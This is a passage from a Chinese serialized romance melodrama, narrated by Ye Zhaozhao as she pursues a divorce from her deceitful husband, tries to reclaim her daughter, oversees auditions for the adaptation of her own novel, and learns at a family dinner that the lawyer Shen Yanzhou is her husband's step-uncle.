月光勾勒出他棱角分明的侧脸,金丝边眼镜下的目光格外疏离:“私人时间,我不喜欢谈工作。”
他的语气没什么起伏,却带着不容置喙的拒绝。
我心里一沉,一不做二不休地说:“我知道,但是……我真的走投无路了。请您先听完,再决定要不要帮我,行么?”
说到最后,我语气近乎于哀求。
“叶小姐。”
他又往前走了几步,停在一丛绿梅前,语气染上了一层冷意:“奶奶是真的喜欢你,但你不该利用她的喜爱提出任何冒昧的要求。”
他的目光落在我脸上,带着审视和一种我看不懂的深邃。
我突然有种被冤枉的委屈,语气带着一抹倔强,道:“如果我想利用老夫人的喜爱,我就不会在只有我们两个人的时候求您帮忙。而是直接在老夫人面前提出我的请求了,您说对吗?”
沈宴州黑眸中闪过一抹稍纵即逝的错愕,没说话,似乎在等着我的下文。
我望进他沈沉的眼底,认真解释道:“沈律师放心,我从没想过要攀附您,更不会有什么非分之想。我会跟老夫人说清楚的。”
说完,我甚至忘了有事求他,现在就想回去跟沈老夫人说个明白,解了沈宴州目前的疑虑。
可就在我转身之际,他低沉的声音突然在我身后响起:“想让我帮你什么?”
第76章 叶昭昭,过来帮我洗澡
我顿住脚步,眼前终于看到一丝希望,开口道:“其实,我已经结婚了,我丈夫就是顾氏总裁,顾时序。”
沈宴州英朗的面容似乎没有任何意外,抬了抬下颌,示意我继续说。
我将顾时序如何欺骗我,如何把我女儿给小三抚养,这所有事情的来龙去脉简明扼要地说了一遍。
“听说,您手下有一个非常精密的侦探系统,能查出很多机密的事。我……想知道朵朵究竟是不是我女儿?我需要证据。”
说完这些,我紧张地看着他,心脏在胸腔里砰砰直跳。
沈宴州听完,目光没什么波动,淡淡开口:“抱歉,叶小姐。这种家长里短的闹剧,我没兴趣。”
这句话像一盆冷水,兜头浇下来,瞬间浇灭了我所有的希望。
虽然早就料到可能会被拒绝,可真听到这话时,心口还是像被什么东西堵住了,闷得发疼。
我勉强扯出一个比哭还难看的笑容:“我知道了,打扰您了。”
多说无益,我转过身,一步步往别墅的方向走。
月光把影子拉得很长,像条拖在地上的、沉重的锁链,将我困在这无人能解的婚姻里,日复一日。
我回到屋里时,沈老夫人笑吟吟地望着我,道:“今晚散步挺久的,都聊了什么呀?”
“老夫人,其实,我已经结……”
我想现在就跟老夫人说清楚我结婚的事实,这样,以后也能打消沈宴州的疑虑。
可我的话刚说一半,沈宴州从外面走了进来,道:“奶奶,太晚了,我送叶小姐回去吧。”
沈老夫人这么一打岔,也就没再追问我刚才要说什么,而是满意地对沈宴州道:“这就对了!每次都得我提醒你。难得你这次主动一回。”
我憋得难受,不知为什么,就想在今天把我是已婚妇女的事实让沈老夫人知道。
可当我再次开口时,沈宴州已经走到了我旁边,“走吧,叶小姐。”
他语气沉了几分,透着不容置疑。
就这样,我跟沈老夫人道了别,和沈宴州一起离开了沈家。
刚出门,便听沈宴州问:“你刚才想说什么?”
我微微一怔,反应过来,道:“您不是对老夫人撮合我们的事情很困扰吗?我想跟老夫人解释清楚来着。”
“不必了。”
沈宴州淡淡地说:“反正也不会成为事实,既然奶奶喜欢,就哄哄她高兴也不错。”
我心里腹诽着:这可是你不让我解释的。别以后再怀疑我对你有非分之想!
我虽然是已婚妇女,但也才25,还不至于对一个大我将近十岁的大叔有什么想法。
“沈律师,您回吧,我今天自己开车来的,您不用送我。”
我跟他道了别,刻意保持了距离,开车离开沈家。
回到医院,已经十点多了。
顾时序还没睡,也没工作,整个人很阴沉地坐在沙发上,手里转着佛珠。
我往屋里看了眼,并没有见到朵朵的身影,顿时有点失落。
想必,是苏雅欣现在感受到了危机,所以,不敢再让朵朵来了。
我并没有将此时顾时序的低气压看在眼里,而是想着我以后该怎么经常见到女儿?
就在这时,顾时序阴郁的声音传入我耳里:“给我洗澡。”
我猛地回神儿,以为听错了:“什么?”
“医生说我不能自己洗澡,需要人帮。”他冷冷看着我,道:“怎么?晚上在外面玩得忘乎所以,连正经事都忘了?”
在他看来,伺候他,是正经事。
可在我看来,远远离开他,夺回我女儿的抚养权,才是正经事!
见我没动,他语气更沉了几分,道:“叶昭昭,去给我放水,我要洗澡!”
我攥紧了手心,硬生生压下心头翻涌的厌恶。
他其实根本不是想让我帮他洗澡。
他就是不满我今天回来的晚,无法接受我不再像以前那样满心满眼都是他,所以,故意找茬羞辱我罢了!
“顾时序,我们很快就要离婚了。”
我抬起头,直视着他阴鸷的眼睛,一字一句地提醒他:“我可以现在给苏雅欣打电话,她应该很乐意为你做这种事。”
顾时序清冷的眸光格外凌厉,一字一句道:“我就让你帮我洗。”
“我可以给你找护工,费用我出。”
我知道,一旦这次妥协,就会有无数次妥协在等着我。我不能再退了!
顾时序盯着我看了几秒,突然低低地笑了起来,笑声里却满是寒意:“叶昭昭,你真是越来越有骨气了。”
他直起身,转身往浴室走,背影透着一股说不出的阴鸷。
我松了口气,正想给护工打电话,只听他道:“不用你找,我自己洗!”
很快,浴室里就传来了哗啦啦的水声。
我没有多想,回到客厅,满脑子都是女儿的事情。
……
翌日,平时不到七点就能起床的顾时序,却迟迟没有起来。
我已经洗漱好,想问他早餐吃什么,却发现他脸色泛着不正常的红,呼吸也比平时重了些。
我伸手探了下他的额头,滚烫的温度让我心里一咯噔,赶紧去叫了医生。
我带着医生进来时,没想到姜淑慧也来了。
医生解开顾时序胸口的绷带,蹙眉道:“手术伤口发炎了。最近碰水了吗?”
我想到昨晚他赌气一个人进去洗澡,虽说活该吧,但多少好像我也占了点原因。
姜淑慧一双眼睛死死盯在我身上,厉声道:“问你话呢!”
“嗯。”
我应了声,对医生道:“他昨晚洗了澡。”
姜淑慧愤声道:“医生不是说过不能洗澡吗?你这个**,我就知道,你迟早会害死时序!”
就在这时,病床上的顾时序缓缓睁开眼睛,一手搭在额头上,不悦地说:“妈,不关她的事,是我自己非要洗澡。”
姜淑慧脸上的表情瞬间僵住了,立刻道:“那也是她照顾得不到位!你洗澡她就应该帮你避开伤口的地方,慢慢洗。怎么能让你伤口沾到水呢?”
“我不让她帮。
顾时序声音淡淡的。
姜淑慧显然没料到儿子会这么说。
她张了张嘴,想说什么,最终却只是狠狠瞪了我一眼,对儿子道:“我已经通知了雅欣,一会儿她就带朵朵来看你。”
其实我也没想到,顾时序会帮我撇清责任。
想到马上我又能见到女儿了,我心中透着隐隐的期待。
顾时序以要静养为由,打发走了姜淑慧。
病房门关上的瞬间,顾时序清冷的眸子落在我身上,声音不高,却带着不容置疑的意味:“过来。”
我以为他是有什么需要,所以缓缓走到他病床前。
下一秒,他微凉的指尖突然扣住我的后颈。
那力道不重,却带着不容挣脱的掌控力,轻轻一拉,就将我带得弯下腰,凑近他。
他微凉的薄唇,几乎触到了我的耳垂。
我浑身一颤,像是有电流经过,下意识推开了他。
大概是不小心推在了他伤口上,痛得他低声‘嘶’了一下。
我愤声道:“你不要觉得刚才在你妈面前,你帮我说了两句话,就能对我为所欲为。”
“我只是想告诉你,我这伤感染了,估计又得延迟个一两周才能出院了。所以,你又得辛苦一段时间了。”
他眼底透着一抹狡黠,仿佛笃定了我是一只逃不脱他掌心的猫。
我点点头,道:“希望你能信守诺言,出院的时候给顾亦寒出谅解书,放过他。”
顾时序的脸色格外难看,阴测测地看着我道:“那就看你表现了。”
就在这时,病房的门再次被推开。
苏雅欣牵着朵朵走了进来。
看到女儿的我,心中涌起一抹怜爱和激动。
只是朵朵的眼神并没有在我身上停留,而是跑到顾时序床边,道:“爸爸,妈妈说你发烧了。呜呜呜,你是不是很难受呀?”
“爸爸看到朵朵就不难受了。”
顾时序跟女儿说话时,脸上的清冷瞬间融化。
苏雅欣走到我面前,眼神里却藏着几分挑衅:“叶小姐,这段时间辛苦你了。时序哥这里,以后还是我来照顾吧。否则,我实在不放心。”
我正愁甩不掉这个烂摊子呢!没想到,还有主动接手的。
可我还未开口,靠在床头的顾时序便道:“你成天忙得脚不沾地,哪有空闲照顾我?”
说到这儿,他话锋一转,语气中带着若有似无的嘲讽:“叶昭昭跟你不一样,她成天没事做,有的是时间耗在这儿。”
这话像根软刺,不轻不重地扎在我心上。
我知道他是故意在苏雅欣面前贬低我。
苏雅欣脸上的笑容僵了一瞬,随即又恢复自然,甚至还假惺惺地叹了口气:“也是,叶小姐的确比我时间多得多。我最近在筹备一部新戏,等接下来了,就更没时间了。”
我默默地想,苏雅欣口中的‘新戏’,该不会是我那部小说吧。
我正想着,顾时序便问苏雅欣:“对方松口了吗?”
苏雅欣信心满满地道:“那个编剧像个木头脑袋,固执得要命,怎么会轻易松口。说是要公开试戏,再确定女一号。不过,我找的老师是帝都电影学院的金字招牌,她亲自辅导我,肯定没问题的。
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我心中冷笑,那就等下周试戏那天,看看她苏雅欣的学习成果了。
他们聊了一会儿,朵朵这才想起我来。
“叶阿姨,昨天的饼干同学们都说好好吃哦!”
她笑得眉眼弯弯,却不知道,我跟她一起做的那份早已被苏雅欣扔进了垃圾桶。
而昨天分给她同学的,是我又重新做的。
不过这些已经不重要了,重要的是,我女儿也获得了同学的认可。
我微微一笑,问:“那朵朵开心吗?”
“开心!”朵朵用力点头,小脸上满是雀跃。
我心头一暖,刚想再说下次还带她一起做。
顺便,也能找到机会拿到朵朵的头发。
就在这时,旁边的苏雅欣忽然开口,“叶小姐,你这手艺也太好了。朵朵这么喜欢,不如你教教我吧?以后我学着做给她吃,也省得总麻烦你。”
她这话里的心思再明显不过,这样以后,就可以避免我跟朵朵接触了。
我还没应声,朵朵已经仰起小脸,满眼期待地看着我:“叶阿姨,你教教我妈妈好不好?这样妈妈也能做出像你做的那么好吃的蛋糕啦!”
小家伙亮晶晶的眼睛里满是对苏雅欣的依赖,那声“妈妈”像根针,细细密密地扎在我心上。
我压下翻涌的情绪,道:“抱歉,我不太会教人。”
苏雅欣脸上的笑容淡了些,故作委屈地看向朵朵:“看来是妈妈太笨了,叶阿姨不愿意教呢。”
“叶阿姨!”
朵朵立刻皱起小眉头,松开我的衣角跑到苏雅欣身边,小手紧紧抱着她的腿。
当她仰着小脸看我时,眼神里已经带了点不满,“你明明会教人,你教我教的就很好啊!为什么不教我妈妈?”
我喉咙发紧,说不出话来。
这时,一直沉默的顾时序忽然开口,语气里带着几分凉薄:“不过是教做个蛋糕,叶昭昭,你教教雅欣又怎么了?”
我冷声道:“我说了,我不会。外面会做蛋糕的到处都是,她跟谁都能学。”
可这时,朵朵却生气了,大声冲我叫道:“**嘛每次都欺负我妈妈?我不喜欢你了!妈妈,我们走!”
她这话,像一记重锤,狠狠砸在我心上,闷得我喘不过气。
我不知该作何反应,而朵朵已经气呼呼的拉着苏雅欣离开了。
病房里的空气陷入一片凝滞,顾时序微微摇了摇头,似乎不满于我的‘吝啬’。
……
一连几日,朵朵都没有再过来。
顾时序已经完全退烧了,伤口愈合得还算不错。
而我刚好要在今天去海城影城参加女一号的试戏评选。
我找了个借口,说是跟宋今若出去逛街,这才顺利从顾时序眼皮底下离开。
应我的要求,主办方给我设置了一个屏风,我并没有现身,只是在屏风后面看着每一个女演员的表现。
预料之中,苏雅欣也来了。
虽说她被帝都官方号公开批评,又失去了很多代言,但一直处于流量顶端的她,还是傲慢得很。
我通过监视器可以看到,安染试戏的时候,苏雅欣脸上那种轻蔑和嘲讽的表情。
但凭良心说,安染的形象更贴合我书里的女一号,她也演出了女主的那种坚韧和委屈。
不过我还真挺好奇苏雅欣的表现。
毕竟,她最近总说她在磨炼演技,在沉淀。
微博上,三天两头发一些她半夜三更研究剧本的帖子,引来了脑残粉的各种吹捧。
安染试完戏,就轮到了苏雅欣。
她试戏的那段是女主发现男主背叛时的反应。
我看着监视器上的女人,各种浮于表面的演出,甚至觉得她还没有在顾时序面前演得好。
不知道她找帝都电影学院金字招牌的老师学了这么久,都学出了个什么?
这次的试戏还算公平,导演和制片人都觉得安染是最贴合书中女主角形象的。
我也没有任何意见。
然而,苏雅欣得知安染被确定为女一号之后,立刻让经纪人过来协商。
为了重新翻红,她也算豁出去了。
既然得不到女一号,苏雅欣便让经纪人来找导演,问女二号能不能让她试试?
导演和制片人犹豫了一下,征求我的意见。
“没问题啊。”
我笑了笑,女二号不就是苏雅欣本尊吗?
但是我附加了个条件:“待会儿试戏的时候,让安染跟她对戏。”
而试戏的情节,是我选中的,女主母亲因为小三而死,女主狂扇小三耳光。
想到之前,安染和苏雅欣在娱乐圈里斗得那么厉害,想必她是不会手软的。
第77章 他竟是我的金主爸爸
苏雅欣和她经纪人自然也知道这点,问我们能不能换个剧情试?
我直接让工作人员传话:“苏小姐现在是被帝都的官网点名批评,基本属于劣迹艺人了。我们愿意给你机会试戏,已是破例。苏小姐要是在挑三拣四的,那我们这部戏,用不起你。”
苏雅欣为了重回巅峰,最终还是答应了。
但她不知道的是,我压根就不会给她机会演我书里的任何角色。
试戏开始前,我通过监视器看见苏雅欣对安染道:“等下打耳光的时候别忘了借位。”
安染似笑非笑的道:“我尽量。”
然而,导演喊开始后,安染丝毫没有手软,更没有任何借位。
她揪着苏雅欣的领子,便扬起巴掌左右开弓。
苏雅欣又哭又叫的反应,简直就是本能的,跟演技已经没什么关系了。
我靠在椅子上,静静地看着面前的屏幕。
苏雅欣被连打几巴掌后受不了了,直接推开安染。
这回,导演不满意了。
“苏雅欣,你怎么回事?你也拍了不少戏了,我不喊卡,你怎么能停?你究竟还要不要试这个角色了?”
要搁在以前苏雅欣的流量,导演都得哄着她。
可现在,没有任何人再把她当个葱,导演更是毫不留情地骂道:“再来一次!要是你不想演就赶紧结束,后面还有不少女演员等着试戏女二号呢!”
苏雅欣顶着一张红肿的脸,道:“导演,再给我一次机会,我这次肯定不会擅自停下了。”
安染故意问道:“导演,我刚才那么演,没问题吧?”
“没问题!一点问题都没有!”
导演对安染客客气气的,没挑出一点不是。
苏雅欣那样子简直像是吃了根钉子,却为了重新翻红,忍着继续演。
她此时的隐忍和痛苦,不就是我现实生活中的每一天吗?
在我得知顾时序背叛后,我每一天都是这么过来的,让她尝一尝,也不错。
就这样,安染和苏雅欣的第二场试戏开始了。
安染继续刚才的力道,狠狠扇苏雅欣的脸。
最后,苏雅欣的嘴角都被扇出了血,整个人看起来像是快被扇傻了。
导演不耐烦地喊了声:“卡!”
安染推开苏雅欣,像是推开一个垃圾。
苏雅欣踉踉跄跄的被助理扶住。
经纪人一脸期待问导演:“这次怎么样?行不行?”
导演嫌弃地说:“她倒是说台词啊!剧本上的台词一句不说,光挨打,跟木头一样!说起来也出道这么多年了,真是一点长进都没有!”
经纪人连忙道:“导演,要不再给她一个机会。最后一次!”
“不行!别浪费时间了。”
导演道:“实话告诉你,苏雅欣确实没有人家安染有演戏方面的天赋。别挣扎了!走吧走吧!”
苏雅欣离开时,眼中写满了不甘和愤懑。
我参与了整整一天的女一号和女二号的演员试戏,最终确定了角色。
但我始终没有露面,就连导演和制片人都不知道我的样子。
晚上,我回到医院时,刚到门外就听见顾时序病房里的哭声。
我推门而入,苏雅欣看到我,连忙戴上口罩,生怕我看见她这个糗样子。
可惜,今天她的凄惨和被人踩在脚下的狼狈,我可是全程观看的。
苏雅欣哭着对顾时序道:“时序哥,他们也太欺负人了!安染就是故意的,以前很多顶奢代言都找我,她一直嫉妒我。现在找到机会,她就联合导演一起羞辱我。”
顾时序脸色也不好看,拿出手机给孙杰打了电话:“查一下,雅欣那部戏的投资商究竟是谁?查到了以十倍的价格,把这部剧买下来。女一号,必须是雅欣。”
我听到他的话,心脏瞬间紧了几分。
虽然我知道对方公司也是个很大的传媒公司,但谁也不会嫌钱烧手。
万一,对方真的愿意把这部戏转让给顾氏集团,顾时序或许连我的身份信息都能看到。
毕竟,合同里写的都有。
我心里莫名忐忑起来。
我不怕他知道我是编剧,但我不想让苏雅欣这种人演我的戏,想想都恶心。
很快,孙杰就查到了结果,来病房给顾时序送文件的时候顺便跟他汇报。
“顾总,这部戏恐怕不好买啊。”
孙杰为难地说:“买下这部戏的公司是沈氏集团旗下的。”
苏雅欣当即震惊了,追问道:“沈氏集团?就是帝都那个沈家吗?”
孙杰点点头。
顾时序却是运筹帷幄的样子,道:“任谁买下的也无所谓,反正就是一部剧而已。大家都是商人,价钱给够了,哪怕是沈氏,也不会放着明面上的钱不赚。”
孙杰犹豫了一下,道:“我一开始也是这么想。可我调查之后才知道,这部戏是沈宴州买来孝敬老太太的。听说,沈老夫人是这部小说的忠实粉丝。”
他说完,连我都震惊了。
没想到,连沈老夫人都看过我的书!
顾时序听到这里,显然知道已经不可能在这部剧动什么手脚了。
可苏雅欣却不想放弃,毕竟,她的性格可是睚眦必报的。
“时序哥,你帮我想想办法啊!”
她哭得梨花带雨,道:“你肯定有办法的!顾氏集团在海城根基那么深,根本没必要怕一个沈家啊!这又不是在帝都。”
呵。
这女人真是又坏又蠢!
除了害人的时候不蠢!
顾家在海城根基深的确不错,可顾时序是多么精明的商人?向来利益至上。
他可以得罪沈家,但绝对不会为了给苏雅欣争一个角色而得罪沈家。
苏雅欣哭了许久,顾时序却始终无动于衷。
她仍不死心,抽噎着挤出可怜兮兮的模样,声音带着哭腔:“这部剧真的和别的不一样,制片人、导演全是业内顶尖的大咖,剧本更是像为我量身定做的。这样千载难逢的机会,错过了就再也没有了啊……”
男人眼中终于浮起一丝不耐,语气冷淡却是不容商榷的强硬:“我让孙杰给你联系其他导演,再挑个合适的剧本。不会让你断了戏拍。”
苏雅欣心里满是不甘,指尖攥得发白,却终究不敢再犟,只能把话咽了回去。
这结果,其实早在我意料之中。
只是我着实没料到,买下我小说版权的公司,竟然是沈氏旗下的。
顾时序看向我,语气平淡无波:“你今天也累了,早点回去吧。去医院看看脸,该用药就开点。”
苏雅欣一听便知是逐客令,又见我还稳稳地站在原地,眼底顿时翻涌着怨怼,偷偷剜了我一眼,却不敢发作。
“那时序哥,我走了。”她声音里还带着未散的哭腔,脚步挪得极慢,满是依依不舍。
顾时序像是忽然想起什么,抬眼叫住她:“对了,明天把朵朵带过来,外公念叨着想见见她。”
他口中的外公,是姜淑慧的父亲,老爷子常年定居国外,两个月前才刚回海城。
苏雅欣立刻接话,语气里藏着一丝雀跃:“明天要去外公家吗?可我这脸……怎么好意思见人呀!”
“外公说,朵朵去就行了。”顾时序的声音没什么起伏。
苏雅欣顿时僵在原地,尴尬的手指都不知道往哪儿放。
顾时序没再多说,只淡淡催促:“回去吧,太晚了。”
苏雅欣转身离开时,又回头狠狠剜了我一眼,那眼神里的怨毒几乎要溢出来。
我原本以为,外公让顾时序带朵朵回去,这事跟我八竿子打不着。
没成想,苏雅欣刚走没几分钟,顾时序便抬眼看向我:“外公让你明天也过去,全家一起吃个饭。”
我微微一怔,有些意外。
虽说我跟顾时序的外公见面次数寥寥无几,但对这位老爷子印象极好。
当年我嫁进顾家,顾时序的亲戚们都在反对,唯独外公从头到尾没说过一句不赞成的话。
甚至,姜淑慧的思想工作还是老爷子做的。
我应了声“好”,答应明天跟他一起去。
当然,更重要的原因是趁这个机会能见到朵朵。
……
第二天,苏雅欣把朵朵送了过来。
她穿了件白色小香风套装,头发梳得一丝不苟,瞧着格外正式。
只不过,那张被打过的脸还没消肿,依旧严严实实地捂着口罩。
“时序哥,”她语气带着刻意的温顺,“我昨晚想了一夜,外公是长辈,我理应去拜访一下的。”
她摆出一副通情达理的模样:“我就进去跟外公问声好,不留下吃饭。毕竟,外公还从没见过我呢。”
顾时序那张素来清冷的脸上,难得掠过一丝为难,却还是直言:“是这样,外公他……不太想见你。”
苏雅欣的脸“唰”地白了,眼眶瞬间红透,眼泪眼看着就要掉
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下来。
这可比她昨天试戏时候的表现好多了!
顾时序又补充了一句,语气缓和了些:“你别多想,可能老人家暂时还没法接受你的存在。以后,我会慢慢跟他做思想工作。”
“我……我知道了。”
苏雅欣像是受了天大的委屈,声音哽咽着转向朵朵,“朵朵,晚上去太公家要乖乖的,听爸爸的话,知道吗?妈妈先走了……”
朵朵却拉住她的衣角,仰着小脸道:“妈妈,你跟我一起去嘛。我跟太公又不熟,我怕。”
苏雅欣立刻抬眼望向顾时序,眼里闪着一丝希冀,显然还想往姜家凑。
顾时序却弯腰抱起女儿,柔声道:“朵朵不怕,有爸爸在呢。妈妈今天不方便去,下次,好吗?”
朵朵撇了撇嘴,终究还是点了点头。
苏雅欣见状,知道再纠缠也没用,只能咬着唇,不甘心地转身离开了。
朵朵似乎还在为那天我不愿意教苏雅欣烘焙的事情生气。
我们好不容易进步了一点点的关系,现在又退回至冰点。
她一直偎着顾时序,却理都不理我。
我试图跟她说话,“朵朵,你有没有想吃的东西,我给你做。”
朵朵傲娇地看着我,道:“我想吃什么,我妈妈都可以给我买的!不用你做!”
顾时序并没有阻止他女儿。
能看得出来,他很怕我跟朵朵接近。
傍晚时分,司机已经在楼下等着了。
我和顾时序带着朵朵一起前往外公家。
只是哪怕在车上,顾时序也不让我跟朵朵坐在一起,而是让我坐在前排副驾驶,他带着朵朵坐在后排。
到了姜家门口,刚好姜淑慧的车也到了。
她看到我从车上下来,当即皱起眉头,不满地说:“时序,你怎么把她也带来了?”
不待顾时序说话,她就看着我,鄙夷地说:“真是死皮赖脸的东西,时序都要跟你离婚了,你怎么还有脸参加我们的家宴?”
我深深吸了口气,转身就想走。
本来过来这里,就是为了见一面朵朵。
可惜,这小丫头跟苏雅欣呆了几天,又把我视为仇人了。
就在我转身之际,顾时序突然拉住我,对姜淑慧道:“是外公让她来的,而且,是点名让她一定过来。”
姜淑慧撇撇嘴,小声嘟囔道:“老爷子也是年纪大了,老眼昏花了!”
说完,她就这么攥着朵朵的手,道:"朵朵,还记得妈妈交代你的话吗?不要跟陌生人走那么近,你就跟在奶奶身边,免得被某些心机歹毒的女人给害了。"
就在这时,里面出来一个雍容典雅的妇人,朝我们这边走来:“淑慧、时序来啦!快进来。老爷子都等你们许久了。”
那是老爷子姜伯文的续弦,也就是姜淑慧的继母程冬青。
听说,只比姜淑慧大了十来岁。
姜淑慧对她还算客气,草草打了个招呼,但依然是高高在上的姿态,自顾自地走在最前面。
程冬青这时来到了我们面前,打了招呼后,她慈爱地笑了笑,道:“这就是朵朵吧?长得真乖,真好看。”
朵朵有点怕生,赶紧往顾时序身后躲。
顾时序将她拉到面前,柔声道:“朵朵,叫太姥姥。”
“太姥姥好。”
朵朵怯生生地喊了一句。
程冬青赶紧拿出了一个厚厚的红包递过去:“乖。”
就这样,我们一行人进了屋子。
然而,当我看见客厅中央的沈宴州时,整个人都愣住了。
不止是我,顾时序似乎也没想到,沈宴州会出现在外公家里。
他看见我时,并不惊讶。
或许,在那日我告诉他自己是顾时序太太的时候,又或许在更早的时候,他就已经知晓了我的身份。
男人淡定从容地冲我们颔了下首,看起来,与初次见面无异。
一旁的姜淑慧脸色格外难看,不满的看着程冬青。
我和顾时序完全没有搞清楚是什么情况。
幸好此时,姜伯文开口了:“真好啊,今天一家人终于聚齐了!”
老爷子虽然年近八十,但身子很好,非常健朗,声音也洪亮:来,我介绍一下。”
他走到沈宴州身边,对我们道:“这位,是你们外婆的儿子,沈宴州。算着辈分,你们要叫他一声‘舅舅’。”
我和顾时序再次神同步地震惊,下意识地互相对视了一眼。
第78章 我上了沈宴州的车
顾时序很快反应过来,面不改色心不跳地对着沈宴州喊了声:“舅舅。”
“嗯。”
沈宴州淡淡应了声,目光若有似无地落在我身上。
我硬着头皮也跟着喊了声:“舅舅好。”
姜伯文别提多高兴了,招呼着:“来来来,大家都坐下吧!”
尽管吃饭时,姜伯文主动引出话题,调节着氛围。
可饭桌上的气氛始终带着种说不出的微妙。
老爷子对沈宴州的态度格外热络,嘘寒问暖不断,眼角眉梢都透着真切的笑意。
“宴州啊,多吃点这个,听你母亲说,这是你最爱吃的菜。”
姜伯文语气里满是疼惜,“当年你母亲嫁给我时,我就想让她把你接过来住,可她总说你还小,沈家舍不得你。今天你能来,我是打心眼儿里高兴。”
沈宴州神色淡淡的,只是在老人说话时微微颔首,偶尔应一声。
看得出来,他并不想和这位继父多亲近,但也维持着表面的礼貌,没有驳了老人的面子。
我低着头不敢往沈宴州的方向看,脑子乱的嗡嗡的。
怪不得,那天他是那样果断地拒绝了帮我。
可我已经把所有的事都跟他和盘托出了。
现在,他成了顾时序名义上的舅舅,看起来以后要经常跟姜家与顾家打交道了。
他……他会出卖我吗?
我倍感压力,只怕顾时序知道了一切之后,让朵朵离我更远。
一顿饭,我吃得心不在焉。
饭后,姜伯文笑意温和,道:“宴州,你母亲这么多年没见你,你陪她好好说说话。”
沈宴州应了声,跟着程冬青上楼去了。
客厅里刚安静没两分钟,姜淑慧就凑到姜伯文身边,仿佛有什么话想说。
但看到我在,她蹙眉道:“你出去!我们一家人有话要说。”
我懒得听他们说什么,正准备站起身,便被姜伯文叫住。
“昭昭,你坐下。”
说完,他不满地望着女儿,“昭昭是时序的妻子,是你的儿媳妇,她怎么不是自家人了?有什么话你就大大方方地说!”
姜淑慧拗不过父亲,只好作罢。
她声音压得低低的,语气却带着毫不掩饰的刻薄:“爸,这程冬青突然把儿子叫回来,是什么意思?难不成是看您年纪大了,咱家就我一个女儿,所以,想把她儿子叫回来吃绝户?”
姜伯文的脸色瞬间沉了下来,把手里的茶杯重重往桌上一放:“你胡说什么!”
姜淑慧吓了一跳,却还是不满地嘀咕道:“本来就是!您可别忘了,当年她丈夫还没死呢,她就借着同学会的名义爬上了您的床。再说了,您是她老师,比她大了将近二十岁。她这么多年无怨无悔地服侍您,要说她没有任何目的,我可不相信。现在,终于露出马脚了吧!”
顾时序听不下去了,淡淡打断母亲:“妈,大家好不容易聚在一起吃顿饭,您就非要提这些陈芝麻烂谷子的事吗?”
姜伯文胸口微微起伏,显然动了气,愤愤地说:“我们家这点东西,跟沈家比起来算得了什么?冬青对我是真心的!当年她嫁给我时明明可以再跟我生个孩子,可她怕你一个女孩子心思敏感,才一直没要我们自己的孩子。她把你当亲生女儿抚养成人,把最好的都给你,你现在竟然这么想她,真是太过分了!”
“真心?”
姜淑慧嗤笑一声,满脸不屑,“她那是为了讨好您吧?谁知道心里憋着什么坏水!不然好端端的,干嘛突然把儿子叫回来?”
姜伯文重重叹了口气,眼里涌上一层疲惫的红,声音也低了下去:“你继母……她得了绝症,没多少日子了。”
客厅里霎时安静下来。
外公望着楼梯口的方向,声音发涩:“当年,宴州父亲去世时,宴州年纪还小,她就离开了沈家嫁给我。这些年,也没怎么对宴州尽到母亲的义务。她心里清楚,宴州是怪她的。所以她就想在剩下的时间里,跟宴州缓和缓和关系。这有什么不对?”
姜淑慧哑口无言。
我坐在一旁,听着这番话,心情也不由得沉重起来。
姜伯文说完妻子的事情,不满地对姜淑慧道:“我还没有问你呢!你是怎么教育你儿子的?我们姜家世代书香,到了你这一辈,骄纵蛮横,气走了时序的爸爸。现在,又把儿子教成这样,我真是替你害臊!”
说到这儿,姜伯文让保姆先把朵朵带出去了,然后深深地望着我,道:“昭昭,是我没教好女儿,也没教好外孙。我们家,对不住你。”
毕竟,顾时序父母的关系一直不好,顾时序很小的时候,姜淑慧就三天一小闹,两天一大闹。
一闹起来,就带着顾时序回娘家住。
所以,姜伯文自认为自己对顾时序有教育的义务。
现在,他一脸遗憾地说:“我做了一辈子的教授,教书育人,桃李满天下。没想到,教出了时序这么个混账!”
顾时序在一旁不吭声,一向冷清的脸色没有任何波动,简直称得上油盐不进,刀枪不入。
姜淑慧为儿子打抱不平:“一个巴掌拍不响,婚姻破裂能是一个人的错吗?叶昭昭要是有足够的资格当顾家主母,时序能跟她离婚吗?爸,您年纪大了,就别管孩子的事情了。您的外孙媳妇很快就不是叶昭昭了,而是雅欣!”
老爷子一听,当即怔住了,怒道:“你刚才说什么?离婚?你们放着好好的媳妇不要,居然要把外面那种不检点的女人娶回来!我告诉你们,我活着一天,你们就别想!”
这次,我主动开口了:“外公,谢谢您今天为我说这番话。但离婚这件事,是我和顾时序一起决定的。我们的婚姻,的确走不下去了。”
顾时序黑沉的眸子望向我,冷峻的面容有一丝紧绷。
随即,他对外公道:“叶昭昭说得对,走不下去了。”
姜伯文指着他道:“你有什么脸说话?当初不顾所有人反对,死活要娶人家的人是你。娶到手了又不好好对待的人,还是你!”
姜淑慧立刻帮儿子,道:“爸,您不知道,时序也是被叶昭昭给骗了!这女人,分明就是看上了我们顾家的钱。就这几天,时序受伤,她在医院里照顾,还找时序要钱呢!”
我懒得跟她争论什么,站起身道:“外公,我出去透透气。”
……
院子里晚风裹着初冬的寒气。
我拢了拢身上的大衣,心事重重地往前走。
刚走到回廊下,就看见沈宴州倚在雕花栏杆边,修长的手指夹着一支烟。
火光在他指尖明明灭灭,映着他轮廓分明的侧脸,透着一种久经世事的成熟稳重。
我脚步顿了顿,鬼使神差地朝他走了两步。
到了近前,才发现喉咙发紧,竟想不出一句合适的开场白。
是该寒暄一下?
还是直接请他替我保密,不要将我那天告诉他的事说出去?
就在我纠结着如何开口时,沈宴州望向我。
他眼睛下的眸子里,仿佛藏着化不开的沉郁。
我想,他大概是也得知了他母亲身患重病,命不久矣。
所以,才这般惆怅。
这时,沈宴州突然开口,声音低沉,带着烟草的微哑:“放心,我不会多事。你的秘密,一直都会是秘密。”
我微微错愕,没想到,我都没开口,他竟知道我想说什么。
随即,我松了口气,真诚地说:“谢谢沈律……舅舅。”
最后两个字,我别扭又生硬地开了口。
沈宴州眸色微敛,从我身上移开,又望向远处漆黑的夜色里。
指尖抽了一半的烟被他熄灭,扔进身旁的垃圾桶。
我望着孤独倚在围栏上沉默着的男人,心里莫名泛起一丝酸涩。
沈宴州的身份何等尊贵,可刚才听了外公的话,我才知道他很早的时候父亲就去世了,母亲也离开了他。
这一点,竟和我有些像。
哪怕他坐拥万贯家财,我想,他也宁愿有一个完整的家庭吧?
就在这时,身后突然传来顾时序冷硬的声音
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:“叶昭昭,过来。”
我回头,他不知何时站在了门口。
沈宴州听见声音,也缓缓回过头。
顾时序脸色阴沉得厉害,目光像淬了冰,直直落在我和沈宴州之间。
